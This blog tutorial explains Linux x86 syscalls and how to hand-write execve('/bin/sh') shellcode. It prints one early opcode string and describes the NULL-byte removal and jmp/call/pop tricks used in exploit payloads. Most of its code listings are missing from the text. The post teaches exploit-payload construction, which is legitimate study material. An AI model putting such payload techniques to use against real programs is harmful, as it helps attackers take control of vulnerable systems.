Syscalls are a bunch of functions which gives a userland process direct access to the kernel space to carryout low level functions. In simpler words, Syscalls are an interface between user mode and kernel mode.

In Linux, syscalls are generated using the software interrupt instruction, int 0x80. So, when a process in the user mode executes the int 0x80 instruction, the flow is transferred from the user mode to kernel mode by the CPU and the syscall is executed. Other than syscalls, there are standard library functions like the libc (which is extensively used in the linux OS). These standard library functions also call the syscall in some way or another (not everytime though). But we wont look into that as we are not going to use library functions in our shellcode. Also, using syscall is much nicer because there is no linking involved with any library as needed in other programming languages.

Note: The software interrupt int 0x80 was proving to be slower on the Pentium processors, so Linus introduced two new alternative namely SYSENTER/SYSEXIT instructions which were provided by all Pentium II+ processors. We will use the int 0x80 instruction in our shellcode however.

HOW TO USE SYSCALLS

When a process is in the userspace and the syscall instruction is executed, the interrupt handler i.e the software interrupt int 0x80 tells the CPU to change the execution from user mode to kernel mode. Now the system call handler is notified to call the routine which the userland process wanted. All the syscalls are stored in a syscall table, it is a big array which points to the memory address of the syscall routines. When the syscall is called, the syscall number is loaded into EAX register, this is how the system call handler comes to know which system call routine to execute. Keep in mind that the execution done here is carried out on the Kernel space stack and after the execution the control is given back to the userspace process and the remaining operation is carried out on userspace stack.

Here is the list of all the syscalls (x86):- http://syscalls.kernelgrok.com/

Each syscall is assigned a syscall number (an integer value) for basic naming convention. Every syscall has arguments which are necessary to execute the related operations. The syscall number is stored in the EAX register and the arguments are stored in the EBX , ECX , EDX , ESI and EDI respectively.

All the linux syscalls are well documented with instructions of how to implement them in your program. Usually we can use the syscall in normal C program or we can go ahead and do the same in an assembly language. Since we are writing our own shellcode, we have to dip our hands in the world of assembly language.

So what we will do is, write a C program with the syscall, disassemble the program, see the assembly instructions, write the assembly equivalent, make the necessary changes and extract the shellcode. Now we could have done this in assembly language directly but for getting the whole idea of how a program works from the high level to low level I am choosing this path.

Basic Assembly knowledge is needed for this, if you are new to Assembly then you can read the Assembly and Shellcoding blog series by my friend SLAER.

SPAWNING A SHELL

Lets write a shellcode for spawning a shell. We will use execve syscall for this operation.

First, lets take a look at the man page for execve..

The whole function looks like this:-

Here, filename is the command or program which we want to execute, in our case “/bin/sh”. Argv is an array of the argument string passed to the new program and it should contain the filename in its first index. Envp array can be NULL. Also the argvand envp array must end with a NULL.

We will initiate a char array spawnshell[2], with spawnshell[0]= “/bin/sh” and the next index being NULL i.e spawnshell[1]=NULL. We declared the last index as NULL because argv must end with a NULL byte.

So, execve will look like:

The C code for spawning a shell :

Compiling the program:

(We used static flag while compiling to prevent the dynamic linking as we want to disassemble the execve function.)

Running the executable we get a shell.

Lets disassemble the main function in our favorite GDB:

Here, the execve is called from the libc library, because we wrote a C program and used stdlib. Before calling the execve() function, the arguments required by it are stored on the stack. We will see the important instructions in detail:

sub $0x14, %esp -> Subtracting 14 from ESP, this is how the space is allocated on the stack.

1) movl $0x80bb868,-0x14(%ebp) -> Moving the memory address 0x80bb868 which contains “/bin/sh” on the stack. (You can see the value by using the command x/1s 0x80bb868 in GDB)

2) movl $0x0,-0x10(%ebp) -> Moving 0 on the stack at -0x10(%ebp), means the NULL byte after the “/bin/sh”.

3) mov -0x14(%ebp),%eax -> EAX now has the “/bin/sh”.

4) push $0x0 -> 0 is pushed onto the stack.

5) lea -0x14(%ebp),%edx -> The effective address of -0x14(%ebp) is loaded into EDX i.e EDX is pointing to the pointer of “/bin/sh”.

6) push %edx -> Pushing the value of EDX on the stack.

7) push %eax -> Pushing the value of EAX on the stack.

8)call 0x806c990 <execve> -> calling the function execve.

So what does this mean? Every numbered points are explained below in the same manner:-

1) filename = “/bin/sh”

2) filename = “/bin/sh” followed by NULL

3) argv[0]= “/bin/sh”

4) 0 is pushed for the envp

5) pointing to the pointer of “/bin/sh” i.e argv

6) EDX=argv

7) EAX= filename

8) execve function is called

Now the execve function according to the arguments pushed onto the stack will look like:-

execve(EAX, EDX,0)

So, now we know what to do with the assembly instructions. Lets write an assembly program for execve syscall.

Lets look at the execve syscall w.r.t assembly instructions:

Assembly program:-

Assemble this program:

Link this program:

Running the program we can see we get a shell.

Now, we want to extract the opcodes from the executable to form our shellcode. We will use objdump utility to display the object file.

Here, we can see in the right side, the assembly instructions that we wrote and in the left side opcodes for those instructions. Now we just have to copy these opcodes and execute it from C program which will act as a carrier for our shellcode.

Our Shellcode now is:

“\xc7\x05\xa8\x90\x04\x08\xa0\x90\x04\x08\xb8\x0b\x00\x00\x00\xbb\xa0\x90\x04\x08\xb9\xa8\x90\x04\x08\xba\xac\x90\x04\x08\xcd\x80\xb8\x01\x00\x00\x00\xbb\x0a\x00\x00\x00\xcd\x80”

As we already know we cannot execute shellcode directly, we will be needing a program to execute it for us. Shellcode is always loaded into the virtual address space of the target process which we want to exploit. Shellcode cant have its own process space as it cant be executed directly and it doesn’t makes sense to load the shellcode in any other address space other than the vulnerable software.

Just for demonstration we will load the shellcode in the address space of our own program and see whether it gets executed or not.

We will write a small C program which will execute our shellcode:

So, whats the program doing?

First, we are defining a char array shellcode with our actual shellcode in it. Then, in the main() function we are defining a variable ret which is an int pointer.

Then we are making the ret variable point to an address which is 8 bytes (2 int value)from its own address.

Remember this will happen on the stack, and the addresses on the stack moves from higher order memory to the lower order memory. So, by adding 8 bytes to the address of ret variable we are actually making it points towards the main()function.

Then we are assigning the address of our shellcode array to the address of the retvariable which is pointing to the address of main. So before the program ends it will execute our shellcode.

Lets compile the program:

Running the program we get Segmentation fault (core dumped)

So, we can see that our shellcode didn’t work. Lets take a look at what is wrong with our shellcode.

We can see there are a bunch of NULL bytes in the opcodes i.e ‘00’. Now one important thing, mostly the shellcode is loaded into the user input buffer and mostly it will be a char buffer or string buffer. If a NULL value occurs in the string, it terminates the string right there and doesn’t accept anything after the NULL termination. So our shellcode containing NULL values wont work. So we have to find a way to eliminate the NULL values.

Also, we are using hardcoded addresses in our shellcode. As we can see the mov instructions, all those addresses are machine specific hardcoded addresses. It is highly likely that it might not work in different versions of linux. So we have to deal with that also. One thing we can do is somehow load the starting address of our shellcode in the memory and using that reference we can make the necessary operations relative to this address. Now this is called as relative addressing. We will see this later in more detail.

Now the important part is to modify the assembly code with the two requirements mentioned above, getting rid of the NULL values and implementing relative addressing for avoiding hardcoded addresses .

REFINING THE SHELLCODE

So lets start…

From the above assembly program we know what instructions are needed to create our shellcode. In the above program we defined an ASCII string with “/bin/sh” and assigned the address of the string to another variable which will act as the pointer. But in the shellcode we will get the memory address of that variable and it will not work around different linux machines as the address may differ.

So in the manpages of the execve syscall it is clearly stated that, “The argv and envp arrays must each include a null pointer at the end of the array.” In our case envparray is already NULL, but the filename i.e the first index of argv pointer should also end with a NULL value. In the above assembly program we were defining separate variables for each argument of the syscall, but now we cant do that.

The execve syscall has three char pointer arguments. For the first argument we will have “/bin/shA”. We are appending A because we directly cant add a NULL value as it will hamper our shellcode, instead we will assign the index of A, a null value from the register. For the next char argument we will append four B’s as char is 4 bytes. Now the second argument is a pointer to the start of the address of the filename. Here we will assign the index of the starting B with the address of the starting memory address of filename. The third argument is the envp array which is a NULL pointer and we will append it with four C’s and then we will assign the index of the first C with a null value.

The representation of execve syscall arguments w.r.t registers will be like:

int execve(EBX, ECX, EDX); and the execve syscall number 11 will be loaded in the EAX register.

Below is the representation of the string which we will load along with the index in hex.

Lets take a look into the final assembly program for our shellcode.

Refined assembly program for Shellcode:

Now I will explain in detail what we have done.

-> We are starting our shellcode with a jmp instruction. jmp instruction will make an unconditional jump to the specified memory location. It will skip the actual shellcode and directly jump to the ShellcodeCall memory address.

-> In there the call instruction is executed which will directly point our Shellcode. Now what happens here is the most important thing. When the call instruction is executed the next instruction or memory address which contains the string “/bin/shABBBBCCCC” is pushed onto the top of the stack as the ret address. This is how we implement relative addressing.

->Now the pop instruction is executed. So the pop instruction will load the retaddress which has the string in the ESI register. The ESI register has the memory location which points to “/bin/shABBBBCCCC”. ESI register will be the reference point for all the operation which we will perform so the issue of hardcoded addresses will be resolved.

->Next we are XORing the EAX register to avoid the NULL bytes. We are basically resetting the EAX register without assigning a NULL value.

->Then we are loading the value 0 from the AL register (As we all know the ALregister is the lower part of the EAX address which is already 0 after the XORing) to the 7th index of the ESI register which will replace the A in our string with a null value.

-> Then we are loading the value of ESI i.e the start address of our string into the 8th index of ESI register replacing the B’s in our string.

->Then we are loading 0 from the AL register into the 12th index of our ESI register i.e replacing the C’s with 0’s.

-> Then we are loading the arguments of execve into the EBXECX and EDXregisters.

->Then we are loading the execve syscall number 11 into AL register again avoiding the NULL bytes because the higher part of the EAX register holds 0.

-> Lastly we make a software interrupt which will execute the syscall.

Now lets take a look at the opcodes after assembling and linking the assembly program.

As we can see there are no null bytes and the hardcoded addresses are also solved.

Now lets copy our shellcode into the C program which we wrote earlier to check whether our shellcode executes or not.

Lets run the compiled C program binary and see if it works.

VOILA !!!

We successfully spawned a shell with our own shellcode.

This was a very basic example of writing a working shellcode. Now there are many situations where you want take a reverse shell over the network and you have to write a shellcode for that. That would be a really challenging task to write a shellcode of that manner. This blog post only introduced what a shellcode looks like and how much pain you have to take to write a simple working shellcode.

In the next part, we will exploit a vulnerable binary and execute shellcode on that.

If you have any doubts or opinions, kindly express yourselves in the comment section. Thanks !!!